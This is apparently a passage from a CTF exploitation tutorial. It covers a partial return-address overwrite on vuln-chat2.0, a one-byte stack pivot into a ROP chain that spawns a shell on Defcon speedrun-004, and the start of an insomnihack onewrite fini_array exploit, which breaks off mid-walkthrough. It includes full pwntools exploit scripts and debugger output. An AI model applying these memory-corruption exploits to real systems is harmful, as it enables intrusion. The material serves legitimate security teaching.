──────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln-chat2.0", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048635 → doThings()
[#1] 0x8048668 → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
  0xffffd0c5 - 0xffffd0cd  →   "15935728[...]"
gef➤  i f
Stack level 0, frame at 0xffffd0f4:
 eip = 0x8048635 in doThings; saved eip = 0x8048668
 called by frame at 0xffffd100
 Arglist at 0xffffd0ec, args:
 Locals at 0xffffd0ec, Previous frame's sp is 0xffffd0f4
 Saved registers:
  ebx at 0xffffd0e8, ebp at 0xffffd0ec, eip at 0xffffd0f0

So we can see that the offset is 0xffffd0f0 - 0xffffd0c5 = 0x2b. Since our input is 0x2d bytes, this means we can overwrite 0x2d - 0x2b = 0x2 bytes of the saved return address.

Also we can see that there is a function at 0x8048672 called printFlag, that if we call it we will get the flag:

/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void printFlag(void)

{
  puts("Ah! Found it");
  system("/bin/cat ./flag.txt");
  puts("Don\'t let anyone get ahold of this");
  return;
}

Exploitation

So we will be doing a partial overwrite. In this case, we will only be overwriting the least significant byte of the return address. When we looked at the saved return address, we saw that it was equal to 0x8048668. The function we are trying to call (printFlag) is at 0x8048672. Since the only difference between the two addresses is the least significant byte (which we will overwrite to be 0x72), we only need to overwrite that to call printFlag.

Also even though we don't have to deal with address randomization in this challenge thanks to there not being PIE, a lot of the time that is where partial overwrites come in handy. That is because since the base address usually ends in a null byte (or multiple) the randomization doesn't apply to the lower bytes. So if we overwrite the lower bytes, it gives us a range that we can jump to without an infoleak.

Exploit

Putting it all together, we have the following exploit:

#Import pwntools
from pwn import *

#Establish the target
#target = process('vuln-chat2.0')
target = remote('vulnchat2.tuctf.com', 4242)

#Print out the text up to the username prompt
print target.recvuntil('Enter your username: ')

#Send the username, doesn't really matter
target.sendline('guyinatuxedo')

#Print the text up to the next prompt
print target.recvuntil('guyinatuxedo: ')

#Construct the payload, and send it
payload = `0`*0x2b + "\x72"
target.sendline(payload)

#Drop to an interactive shell
target.interactive()

When we run it:

$    python exploit.py
[!] Could not find executable 'vuln-chat2.0' in $PATH, using './vuln-chat2.0' instead
[+] Starting local process './vuln-chat2.0': pid 10483
----------- Welcome to vuln-chat2.0 -------------
Enter your username:
Welcome guyinatuxedo!
Connecting to 'djinn'
--- 'djinn' has joined your chat ---
djinn: You've proven yourself to me. What information do you need?
guyinatuxedo:
[*] Switching to interactive mode
djinn: Alright here's you flag:
djinn: flag{1_l0v3_l337_73x7}
djinn: Wait thats not right...
Ah! Found it
flag{g0ttem_b0yz}
Don't let anyone get ahold of this
[*] Got EOF while reading in interactive

Just like that, we got the flag!

Stack Pivoting

Defcon Quals 2019 Speedrun 4

Let's take a look at the binary:

$    file speedrun-004
speedrun-004: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=3633fdca0065d9365b3f0c0237c7785c2c7ead8f, stripped
$    pwn checksec speedrun-004
[*] '/Hackery/defcon/speedrun/s4/speedrun-004'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$ ./speedrun-004
i think i'm getting better at this coding thing.
how much do you have to say?
15935728
That's too much to say!.
see ya later slowpoke.

So it is a 64 bit statically linked binary with NX. When we run it, it just prompts us for some input via stdin.

Reversing

Reversing out the binary with Ghidra, we find this function:

undefined8
FUN_00400c46(undefined8 uParm1,undefined8 uParm2,undefined8 uParm3,undefined8 uParm4,
            undefined8 uParm5,undefined8 uParm6)

{
  long lVar1;
 
  FUN_00410e30(PTR_DAT_006b97a0,0,2,0,uParm5,uParm6,uParm2);
  lVar1 = FUN_0040e840("DEBUG");
  if (lVar1 == 0) {
    FUN_004498e0(5);
  }
  betterCoding();
  funStuff();
  slowpoke();
  return 0;
}

Realistically the part we care about here, is that the funStuff function is called. The betterCoding and slowpoke functions essentially just print text. Looking at the funStuff function, we see this:


void funStuff(void)

{
  undefined inputSize [9];
  undefined local_d;
  uint size;
 
  print("how much do you have to say?");
  fgets(0,inputSize,9);
  local_d = 0;
  size = atoi(inputSize);
  if ((int)size < 1) {
    print("That\'s not much to say.");
  }
  else {
    if ((int)size < 0x102) {
      scanInput((ulong)size);
    }
    else {
      print("That\'s too much to say!.");
    }
  }
  return;
}

In this function it prompts us for an integer, and if it is between 1-257, it will run the scanInput function with the integer we gave it as input. Also the fgets, atoi, and print functions I reversed them by just seeing their arguments and what they did (and named them accordingly), I didn't actually confirm that they were the actual functions correspond to. Looking at scanInput, we can see a bug.

void scanInput(int iParm1)

{
  undefined input [256];
 
  input[0] = 0;
  print("Ok, what do you have to say for yourself?");
  fgets(0,input,(long)iParm1);
  FUN_0040ffb0("Interesting thought \"%s\", I\'ll take it into consideration.\n",input);
  return;
}

Here we can see that it is calling fgets on the char array input which allows us to scan in size bytes (the integer we specified earlier). Since we can specify a size up to 0x101 bytes and it is a 0x100 byte space, we have a one byte overflow. Since there is no stack canary and nothing else between input and the stack frame, we will have a one byte overflow of the saved base pointer. We will be doing a stack pivot attack.

Stack Pivot Exploit

Before we talk about this, let's talk about stack frames:

+------------+
| stack data |
|      v1    |
|      v2    |   
|    input   |
+------------+
|  base ptr  |
|  insr ptr  |
+------------+

The stack data represents the various variables that are kept on the stack (for scanInput it would be the v1, v2, and input variables). After that you have two saved values for the base ptr for the stack and insr ptr for the instructions. Thing is when a call instruction is made, these two values are placed in the call stack. That way when the function is done and it returns, it can take the saved base ptr and figure out where the stack is, and take the saved instruction pointer and figure out what code to execute.

The thing is, the saved instruction pointer is stored on top of the saved stack. We can see that here in gdb:

gef➤  info frame
Stack level 0, frame at 0x7ffe9fd84120:
 rip = 0x400baf; saved rip = 0x400c44
 called by frame at 0x7ffe9fd84140
 Arglist at 0x7ffe9fd83ff8, args:
 Locals at 0x7ffe9fd83ff8, Previous frame's sp is 0x7ffe9fd84120
 Saved registers:
  rbp at 0x7ffe9fd84110, rip at 0x7ffe9fd84118
gef➤  x/2g 0x7ffe9fd84110
0x7ffe9fd84110: 0x7ffe9fd84130  0x400c44
gef➤  x/2i 0x400c44
   0x400c44:  leave  
   0x400c45:  ret  

We can see that the saved base pointer is 0x7ffe9fd84110, which immediately following that is 0x400c44 which is the return instruction. This will be executed as soon as the function returns. However we can see that what it does is runs the leave and ret instructions. When the second ret instruction is executed, it will execute the second qword value on the stack (since there have been no variables allocated on the stack, the first qword is the saved base pointer, and the second is the saved instruction pointer). Thus since we get to overwrite the least significant byte of the saved base pointer, we can decide what pointer gets executed with the second return. We can see that the second return happens right after scanInput gets called:

        00400c3f e8 2f ff        CALL       scanInput                                        undefined scanInput()
                 ff ff
                             LAB_00400c44                                    XREF[2]:     00400c21(j), 00400c38(j)  
        00400c44 c9              LEAVE
        00400c45 c3              RET

Now our input is directly above the base and instruction pointer. Depending on the iteration of the program (since the stack addresses are randomized every time the program runs), we can get the second return instruction to execute a rop chain of ours we inputted on the stack by overwriting the least significant byte with a particular value. Since we don't have an infoleak, I just went with 0x00 (a null byte). I append a ret slide (similar to a nop sled) to the front of the rop chain, that way if execution lands anywhere in there it will just execute return instructions until it starts executing our rop chain. Also when I say ret slide, I mean pointers to the ret instruction, not the ret instructions themselves. Of course doing it this way won't work 100% of the time, however I did get it to work somewhat frequently (like (1/3)-(1/2) of the time). For the ROP Chain it was a pretty standard one to make a syscall to execve, checkout this writeup for more details: https://github.com/guyinatuxedo/ctf/tree/master/defconquals2019/speedrun/s1 (or the static rop chain module)

Here is a quick look at how the memory gets corrupted:

────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fff383d4ba0│+0x0000: 0x0000000000000000   ← $rsp
0x00007fff383d4ba8│+0x0008: 0x0000010100000000
0x00007fff383d4bb0│+0x0010: 0x0000000000000000   ← $rax, $rsi
0x00007fff383d4bb8│+0x0018: 0x000000770000007c ("|"?)
0x00007fff383d4bc0│+0x0020: 0x0000005b0000006e ("n"?)
0x00007fff383d4bc8│+0x0028: 0x00007fff383d4b50  →  0x0000000000000029 (")"?)
0x00007fff383d4bd0│+0x0030: 0x0000000000000001
0x00007fff383d4bd8│+0x0038: 0x0000000000000140
──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400ba0                  lea    rax, [rbp-0x100]
     0x400ba7                  mov    rsi, rax
     0x400baa                  mov    edi, 0x0
 →   0x400baf                  call   0x44a140
   ↳    0x44a140                  mov    eax, DWORD PTR [rip+0x2726c6]        # 0x6bc80c
        0x44a146                  test   eax, eax
        0x44a148                  jne    0x44a160
        0x44a14a                  xor    eax, eax
        0x44a14c                  syscall
        0x44a14e                  cmp    rax, 0xfffffffffffff000
──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
0x44a140 (
   $rdi = 0x0000000000000000,
   $rsi = 0x00007fff383d4bb0 → 0x0000000000000000,
   $rdx = 0x0000000000000101
)
──────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "speedrun-004", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400baf → call 0x44a140
[#1] 0x400c44 → leave
[#2] 0x400ca2 → mov eax, 0x0
[#3] 0x401239 → mov edi, eax
[#4] 0x400a5a → hlt
─────────────────────────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x0000000000400baf in ?? ()
gef➤  i f
Stack level 0, frame at 0x7fff383d4cc0:
 rip = 0x400baf; saved rip = 0x400c44
 called by frame at 0x7fff383d4ce0
 Arglist at 0x7fff383d4b98, args:
 Locals at 0x7fff383d4b98, Previous frame's sp is 0x7fff383d4cc0
 Saved registers:
  rbp at 0x7fff383d4cb0, rip at 0x7fff383d4cb8
gef➤  x/g 0x7fff383d4cb0
0x7fff383d4cb0: 0x7fff383d4cd0

We can see here before the fgets call that is made that the saved base pointer is 0x7fff383d4cd0. After the fgets call, we can see that the saved base pointer is overwritten to 0x7fff383d4c000:

──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400ba7                  mov    rsi, rax
     0x400baa                  mov    edi, 0x0
     0x400baf                  call   0x44a140
 →   0x400bb4                  lea    rax, [rbp-0x100]
     0x400bbb                  mov    rsi, rax
     0x400bbe                  lea    rdi, [rip+0x91a9b]        # 0x492660
     0x400bc5                  mov    eax, 0x0
     0x400bca                  call   0x40ffb0
     0x400bcf                  nop    
──────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "speedrun-004", stopped, reason: TEMPORARY BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400bb4 → lea rax, [rbp-0x100]
[#1] 0x400c44 → leave
─────────────────────────────────────────────────────────────────────────────────────────────────────
0x0000000000400bb4 in ?? ()
gef➤  i f
Stack level 0, frame at 0x7fff383d4cc0:
 rip = 0x400bb4; saved rip = 0x400c44
 called by frame at 0x7fff383d4c10
 Arglist at 0x7fff383d4b98, args:
 Locals at 0x7fff383d4b98, Previous frame's sp is 0x7fff383d4cc0
 Saved registers:
  rbp at 0x7fff383d4cb0, rip at 0x7fff383d4cb8
gef➤  x/g 0x7fff383d4cb0
0x7fff383d4cb0: 0x7fff383d4c00
gef➤  x/2g 0x7fff383d4c00
0x7fff383d4c00: 0x400416  0x400416
gef➤  x/i 0x400416
   0x400416:  ret
gef➤  x/22g 0x7fff383d4c00
0x7fff383d4c00: 0x0000000000400416  0x0000000000400416
0x7fff383d4c10: 0x0000000000400416  0x0000000000400416
0x7fff383d4c20: 0x0000000000400416  0x0000000000400416
0x7fff383d4c30: 0x0000000000400416  0x0000000000400416
0x7fff383d4c40: 0x0000000000415f04  0x00000000006b6030
0x7fff383d4c50: 0x000000000044a155  0x0068732f6e69622f
0x7fff383d4c60: 0x000000000048d301  0x0000000000415f04
0x7fff383d4c70: 0x000000000000003b  0x0000000000400686
0x7fff383d4c80: 0x00000000006b6030  0x0000000000410a93
0x7fff383d4c90: 0x0000000000000000  0x000000000044a155
0x7fff383d4ca0: 0x0000000000000000  0x000000000040132c       

So we can see that the saved base pointer has been overwritten to 0x7fff383d4c00 which will cause the instruction address at 0x7fff383d4c08 to be executed with the second ret, which will be one of the gadgets for the ret slide. When it returns, we can see it starts off with the leave/ret instructions at 0x400c44:

──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400bca                  call   0x40ffb0
     0x400bcf                  nop    
     0x400bd0                  leave  
 →   0x400bd1                  ret    
   ↳    0x400c44                  leave  
        0x400c45                  ret    
        0x400c46                  push   rbp
        0x400c47                  mov    rbp, rsp
        0x400c4a                  sub    rsp, 0x10
        0x400c4e                  mov    DWORD PTR [rbp-0x4], edi
──────────────────────────────────────────────────────────────────────────────────────── threads ────

Procceding that we can see that the ret instructions that are part of our retslide that are executed:

──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400c39                  or     cl, BYTE PTR [rbx-0x387603bb]
     0x400c3f                  call   0x400b73
     0x400c44                  leave  
 →   0x400c45                  ret    
   ↳    0x400416                  ret    
        0x400417                  add    bh, bh
        0x400419                  and    eax, 0x2b8bfa
        0x40041e                  xchg   ax, ax
        0x400420                  jmp    QWORD PTR [rip+0x2b8bfa]        # 0x6b9020
        0x400426                  xchg   ax, ax
──────────────────────────────────────────────────────────────────────────────────────── threads ────

After that we can see the beginning of our ROP chain is executed, which gives us code execution:

──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
 →   0x415f04                  pop    rax
     0x415f05                  ret    
     0x415f06                  (bad)  
     0x415f07                  inc    DWORD PTR [rbx-0x6bf00008]
     0x415f0d                  rol    BYTE PTR [rax+rax*8-0x74b7458b], 0x53
     0x415f15                  sub    cl, ch
──────────────────────────────────────────────────────────────────────────────────────── threads ────

Exploit

Putting it all together, we get the following exploit:

from pwn import *

target = process('./speedrun-004')
#gdb.attach(target, gdbscript = 'b *0x400baf')

# Establish rop gadgets
popRax = p64(0x415f04)
popRdi = p64(0x400686)
popRsi = p64(0x410a93)
popRdx = p64(0x44a155)

syscall = p64(0x40132c)

ret = p64(0x400416)

# 0x000000000048d301 : mov qword ptr [rax], rdx ; ret
mov = p64(0x48d301)

# bss adress we write to
bss = p64(0x6b6030)

binsh = p64(0x0068732f6e69622f)

# Our Rop chain
# Checkout https://github.com/guyinatuxedo/ctf/tree/master/defconquals2019/speedrun/s1
# for more details on how to make it
rop = ""
rop += popRax
rop += bss
rop += popRdx
rop += binsh
rop += mov

rop += popRax
rop += p64(0x3b)

rop += popRdi
rop += bss

rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)

rop += syscall

# Make the payload
# Append the rop chain to after the ret gadget slide
# Overwrite least significant byte of saved base pointer with 0x00
payload = ret*((256 - len(rop)) / 8) + rop + "\x00"

# Specify we are sending 257 bytes
target.sendline('257')

# Pause to ensure I/O purposes
raw_input()

# Send the payload
target.sendline(payload)

target.interactive()

After we run it a few times:

$ python exploit.py
[+] Starting local process './speedrun-004': pid 10089
w
[*] Switching to interactive mode
i think i'm getting better at this coding thing.
how much do you have to say?
Ok, what do you have to say for yourself?
Interesting thought "\x16\x04@", I'll take it into consideration.
$ w
 23:23:24 up  2:45,  1 user,  load average: 0.84, 0.83, 1.25
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               20:38   ?xdm?  10:57   0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --session=ubuntu
$ ls
core  exploit.py  readme.md  speedrun-004
[*] Got EOF while reading in interactive

Just like that, we got a shell!

insomnihack 2018 onewrite

Let's take a look at the binary:

$    file onewrite
onewrite: ELF 64-bit LSB pie executable, x86-64, version 1 (GNU/Linux), dynamically linked, for GNU/Linux 3.2.0, with debug_info, not stripped
$    pwn checksec onewrite
[!] Did not find any GOT entries
[*] '/Hackery/pod/modules/stack_pivot/insomnihack18_onewrite/onewrite'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$    ./onewrite
All you need to pwn nowadays is a leak and a qword write they say...
What do you want to leak ?
1. stack
2. pie
 > 1
0x7ffe246ac1a0
address : 0x7ffe246ac1a0
data : 5

So we can see that we are dealing with a 64 bit binary with a Stack Canary, NX, and PIE. When we run it, it appears to give us a choice between a stack or PIE infoleak. After that, it looks like it gives us a write to a region of memory we specify.

Reversing

When we take a look at the main function in Ghidra, we see this:

void main(void)

{
  setvbuf((FILE *)stdin,(char *)0x0,2,0);
  setvbuf((FILE *)stdout,(char *)0x0,2,0);
  puts("All you need to pwn nowadays is a leak and a qword write they say...");
  do_leak();
  return;
}

So we can see it prints some text, and calls do_leak:

void do_leak(void)

{
  long choice;
  undefined auStack24 [8];
  undefined *do_leak_adr;
 
  do_leak_adr = do_leak;
  puts("What do you want to leak ?");
  puts("1. stack");
  puts("2. pie");
  printf(" > ");
  choice = read_int();
  if (choice == 1) {
    printf("%p\n",auStack24);
  }
  else {
    if (choice == 2) {
      printf("%p\n",do_leak_adr);
    }
    else {
      puts("Nope");
    }
  }
  do_overwrite();
  return;
}

So we can see it prompts us for a choice. If we choose 1, it will print the address of auStack24 and give us a stack infoleak. If we choose 2, it will print the address of the do_leak function and give us a PIE infoleak. So we essentially get a choice between either a PIE or a stack infoleak. Then it calls do_overwrite:

void do_overwrite(void)

{
  void *ptr;
 
  printf("address : ");
  ptr = (void *)read_int();
  printf("data : ");
  read(0,ptr,8);
  return;
}

Here we can see it prompts for an address with read_int and stores it in ptr. It then let's us write 8 bytes (a QWORD) to ptr. So essentially we have a single QWORD write to an address that we specify, with data that we control.

Exploitation

So our exploit will have two parts. The first is we will use a partial overwrite to call the do_leak function multiple times, to get both a stack and PIE infoleaks. Then we will write to the fini_array to essentially give us as many writes as we want. Using that we will write our rop chain to memory. Proceeding that we will just call a gadget which will pivot the stack to execute our rop chain.

Infoleaks / Partial Overwrites

So for the first run through, we will choose the stack infoleak. Using this we will be able to know where the saved return address for do_leak is. Let's find the offset using pwntools and gdb:

We set a breakpoint for the ret instruction in do_leak:

Breakpoint 1, 0x00007f6814bc3ab7 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x1               
$rbx   : 0x00007f6814bc3060  →   sub rsp, 0x8
$rcx   : 0x0               
$rdx   : 0x8               
$rsp   : 0x00007ffe8c136818  →  0x00007f6814bc3b09  →   nop
$rbp   : 0x00007f6814bc4780  →   push r15
$rsi   : 0x00007ffe8c136800  →  0x00007f6814bc4704  →  0x2a9c3b3d894c002a ("*"?)
$rdi   : 0x0               
$rip   : 0x00007f6814bc3ab7  →   ret
$r8    : 0x00007f68152da880  →  0x00007f68152da880  →  [loop detected]
$r9    : 0x0               
$r10   : 0x00007f6814c49840  →   add BYTE PTR [rax], al
$r11   : 0x0000000000000246
$r12   : 0x00007f6814bc4810  →   push rbp
$r13   : 0x0               
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────── stack ────
0x00007ffe8c136818│+0x0000: 0x00007f6814bc3b09  →   nop    ← $rsp
0x00007ffe8c136820│+0x0008: 0x00007f6814bc3060  →   sub rsp, 0x8
0x00007ffe8c136828│+0x0010: 0x00007f6814bc4089  →   mov edi, eax
0x00007ffe8c136830│+0x0018: 0x0000000000000000
0x00007ffe8c136838│+0x0020: 0x0000000100000000
0x00007ffe8c136840│+0x0028: 0x00007ffe8c136948  →  0x00007ffe8c1373de  →  "./onewrite"
0x00007ffe8c136848│+0x0030: 0x00007f6814bc3ab8  →   sub rsp, 0x8
0x00007ffe8c136850│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7f6814bc3aad                  call   0x7f6814bc39c3
   0x7f6814bc3ab2                  nop    
   0x7f6814bc3ab3                  add    rsp, 0x18
 → 0x7f6814bc3ab7                  ret    
   ↳  0x7f6814bc3b09                  nop    
      0x7f6814bc3b0a                  add    rsp, 0x8
      0x7f6814bc3b0e                  ret    
      0x7f6814bc3b0f                  nop    
      0x7f6814bc3b10                  push   rbx
      0x7f6814bc3b11                  sub    rsp, 0x88
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "onewrite", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7f6814bc3ab7 → ret
[#1] 0x7f6814bc3b09 → nop
[#2] 0x7f6814bc3060 → sub rsp, 0x8
[#3] 0x7f6814bc4089 → mov edi, eax
────────────────────────────────────────────────────────────────────────────────
gef➤  i f
Stack level 0, frame at 0x7ffe8c136818:
 rip = 0x7f6814bc3ab7; saved rip = 0x7f6814bc3b09
 called by frame at 0x7ffe8c136828
 Arglist at 0x7ffe8c136810, args:
 Locals at 0x7ffe8c136810, Previous frame's sp is 0x7ffe8c136820
 Saved registers:
  rip at 0x7ffe8c136818

So we can see that the saved return address is stored at 0x7ffe8c136818 and points to 0x7f6814bc3b09. That address corresponds to 0x00108b09 in do_leak. The address we leaked was 0x7ffe8c136800. Then the offset to the saved return address for do_leak from the address we have leaked is 0x7ffe8c136818 - 0x7ffe8c136800 = 0x18

        00108aff e8 5c 84        CALL       puts                                             int puts(char * __s)
                 00 00
        00108b04 e8 0c ff        CALL       do_leak                                          undefined do_leak()
                 ff ff
        00108b09 90              NOP
        00108b0a 48 83 c4 08     ADD        RSP,0x8

What we can do here is a partial overwrite. That is where we only overwrite only a part of the saved return instruction. Because PIE works by addressing all instructions to an address and adding that to whatever the base instruction is, we can overwrite the last byte of the instruction address which will let us jump within a certain range around the original address, without having to use an infoleak or brute force the address. This can work since most of the time the base address for PIE ends in a null byte (which we can see here):

gef➤  vmmap
Start              End                Offset             Perm Path
0x00007f6814bbb000 0x00007f6814c69000 0x0000000000000000 r-x /Hackery/pod/modules/stack_pivot/insomnihack18_onewrite/onewrite
0x00007f6814e68000 0x00007f6814e6f000 0x00000000000ad000 rw- /Hackery/pod/modules/stack_pivot/insomnihack18_onewrite/onewrite
0x00007f6814e6f000 0x00007f6814e70000 0x0000000000000000 rw-
0x00007f68152da000 0x00007f68152fd000 0x0000000000000000 rw- [heap]
0x00007ffe8c117000 0x00007ffe8c138000 0x0000000000000000 rw- [stack]
0x00007ffe8c1ee000 0x00007ffe8c1f1000 0x0000000000000000 r-- [vvar]
0x00007ffe8c1f1000 0x00007ffe8c1f2000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

So we will overwrite the least significant byte of the return address to be 0x04 in stead of 0x09. This way it will point to the CALL do_leak instruction, so when it returns it will call do_leak again and we can choose the PIE infoleak. With that, we will have both a stack and a PIE infoleak.

Fini array / Writing ROP Chain

So we are able to call do_leak again, however it takes our QWORD write each time we do it, so past the initial infoleaks it doesn't serve much of a purpose past that. We will write a hook to the _fini_array table, that contains a list of functions which will be called when the program ends. That way we can have the program call do_overwrite when it exits. Also since after a function is ran, it moves on to the next entry, we will need to write at least two entries for the do_overwrite address to the _fini_array. We can see that it is 0x10 bytes large, which will work for this:

gef➤  info files
Symbols from "/Hackery/pod/modules/stack_pivot/insomnihack18_onewrite/onewrite".
Native process:
  Using the running image of child process 6946.
  While running this, GDB does not access memory from...
Local exec file:
  `/Hackery/pod/modules/stack_pivot/insomnihack18_onewrite/onewrite', file type elf64-x86-64.
  Entry point: 0x7ffff7d528b0
  0x00007ffff7d4a200 - 0x00007ffff7d4a220 is .note.ABI-tag
  0x00007ffff7d4a220 - 0x00007ffff7d4a23c is .gnu.hash
  0x00007ffff7d4a240 - 0x00007ffff7d4a258 is .dynsym
  0x00007ffff7d4a258 - 0x00007ffff7d4a259 is .dynstr
  0x00007ffff7d4a260 - 0x00007ffff7d51e38 is .rela.dyn
  0x00007ffff7d51e38 - 0x00007ffff7d52060 is .rela.plt
  0x00007ffff7d52060 - 0x00007ffff7d52077 is .init
  0x00007ffff7d52080 - 0x00007ffff7d52280 is .plt
  0x00007ffff7d52280 - 0x00007ffff7d522e0 is .plt.got
  0x00007ffff7d522e0 - 0x00007ffff7dd11a0 is .text
  0x00007ffff7dd11a0 - 0x00007ffff7dd1f6c is __libc_freeres_fn
  0x00007ffff7dd1f70 - 0x00007ffff7dd208b is __libc_thread_freeres_fn
  0x00007ffff7dd208c - 0x00007ffff7dd2095 is .fini
  0x00007ffff7dd20a0 - 0x00007ffff7deb25c is .rodata
  0x00007ffff7deb25c - 0x00007ffff7dece98 is .eh_frame_hdr
  0x00007ffff7dece98 - 0x00007ffff7df73bc is .eh_frame
  0x00007ffff7df73bc - 0x00007ffff7df746b is .gcc_except_table
  0x00007ffff7ff7f80 - 0x00007ffff7ff7fa0 is .tdata
  0x00007ffff7ff7fa0 - 0x00007ffff7ff7fd0 is .tbss
  0x00007ffff7ff7fa0 - 0x00007ffff7ff7fb0 is .init_array
  0x00007ffff7ff7fb0 - 0x00007ffff7ff7fc0 is .fini_array
  0x00007ffff7ff7fc0 - 0x00007ffff7ffad54 is .data.rel.ro
  0x00007ffff7ffad58 - 0x00007ffff7ffaef8 is .dynamic
  0x00007ffff7ffaef8 - 0x00007ffff7ffaff0 is .got
  0x00007ffff7ffb000 - 0x00007ffff7ffb110 is .got.plt
  0x00007ffff7ffb120 - 0x00007ffff7ffcbf0 is .data
  0x00007ffff7ffcbf0 - 0x00007ffff7ffcc38 is __libc_subfreeres
  0x00007ffff7ffcc40 - 0x00007ffff7ffd2e8 is __libc_IO_vtables
  0x00007ffff7ffd2e8 - 0x00007ffff7ffd2f0 is __libc_atexit
  0x00007ffff7ffd2f0 - 0x00007ffff7ffd2f8 is __libc_thread_subfreeres
  0x00007ffff7ffd300 - 0x00007ffff7ffe9b8 is .bss
  0x00007ffff7ffe9b8 - 0x00007ffff7ffe9e0 is __libc_freeres_ptrs
  0x00007ffff7ff6120 - 0x00007ffff7ff615c is .hash in system-supplied DSO at 0x7ffff7ff6000
  0x00007ffff7ff6160 - 0x00007ffff7ff61a8 is .gnu.hash in system-supplied DSO at 0x7ffff7ff6000
  0x00007ffff7ff61a8 - 0x00007ffff7ff6298 is .dynsym in system-supplied DSO at 0x7ffff7ff6000
  0x00007ffff7ff6298 - 0x00007ffff7ff62f6 is .dynstr in system-supplied DSO at 0x7ffff7ff6000
  0x00007ffff7ff62f6 - 0x00007ffff7ff630a is .gnu.version in system-supplied DSO at 0x7ffff7ff6000
  0x00007ffff7ff6310 - 0x00007ffff7ff6348 is .gnu.version_d in system-supplied DSO at 0x7ffff7ff6000
  0x00007ffff7ff6348 - 0x00007ffff7ff6468 is .dynamic in system-supplied DSO at 0x7ffff7ff6000
  0x00007ffff7ff6468 - 0x00007ffff7ff64bc is .note in system-supplied DSO at 0x7ffff7ff6000
  0x00007ffff7ff64bc - 0x00007ffff7ff64f0 is .eh_frame_hdr in system-supplied DSO at 0x7ffff7ff6000
  0x00007ffff7ff64f0 - 0x00007ffff7ff65e0 is .eh_frame in system-supplied DSO at 0x7ffff7ff6000
  0x00007ffff7ff65e0 - 0x00007ffff7ff688a is .text in system-supplied DSO at 0x7ffff7ff6000
  0x00007ffff7ff688a - 0x00007ffff7ff68e5 is .altinstructions in system-supplied DSO at 0x7ffff7ff6000
  0x00007ffff7ff68e5 - 0x00007ffff7ff68fb is .altinstr_replacement in system-supplied DSO at 0x7ffff7ff6000
gef➤  vmmap
Start              End                Offset             Perm Path
0x00007ffff7d4a000 0x00007ffff7df8000 0x0000000000000000 r-x /Hackery/pod/modules/stack_pivot/insomnihack18_onewrite/onewrite
0x00007ffff7ff3000 0x00007ffff7ff6000 0x0000000000000000 r-- [vvar]
0x00007ffff7ff6000 0x00007ffff7ff7000 0x0000000000000000 r-x [vdso]
0x00007ffff7ff7000 0x00007ffff7ffe000 0x00000000000ad000 rw- /Hackery/pod/modules/stack_pivot/insomnihack18_onewrite/onewrite
0x00007ffff7ffe000 0x00007ffff8022000 0x0000000000000000 rw- [heap]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

So we can see that the .fini_array is between 0x00007ffff7ff7fb0 - 0x00007ffff7ff7fc0 which gives us 0x10 bytes to work with. This will work for what we need to do. Also we can see it is mapped to a PIE region of memory between 0x00007ffff7ff7000 - 0x00007ffff7ffe000, so using our infoleaks we know where .fini_array is.

So we will have two entries in the .fini_array that will give us two separate QWORD writes. We will use the first one to write what address we want, where we want it. The second write we will use to write the address of __libc_csu_fini (located at PIE offset 0x9810) to the saved return address for __libc_csu_fini. Since __libc_csu_fini is responsible for calling the functions in the .fini_array. So calling it will give us another run through the .fini_array entries.

Also since entries from the .fini_array are called in reverse order, we will want to write to the second entry first. Then we will write to the first entry, and when it is executed we will be able to restart the loop.

Also one more thing. Each time we call __libc_csu_fini, due to how the memory works the saved return address will shift the address that we use for __libc_csu_fini on the stack up by 0x8. We can find the offset for it's return address the usual way (see where the return address is stored, and calculate the offset from our infoleak).

For the ROP gadget, turns out the binary has all of the gadgets needed to pop a shell. So we won't be needing to use gadgets from libc.

A lot of the output from these commands were omitted for the sake of making it look readable:

$ python ROPgadget.py --binary onewrite | grep "pop rdi"
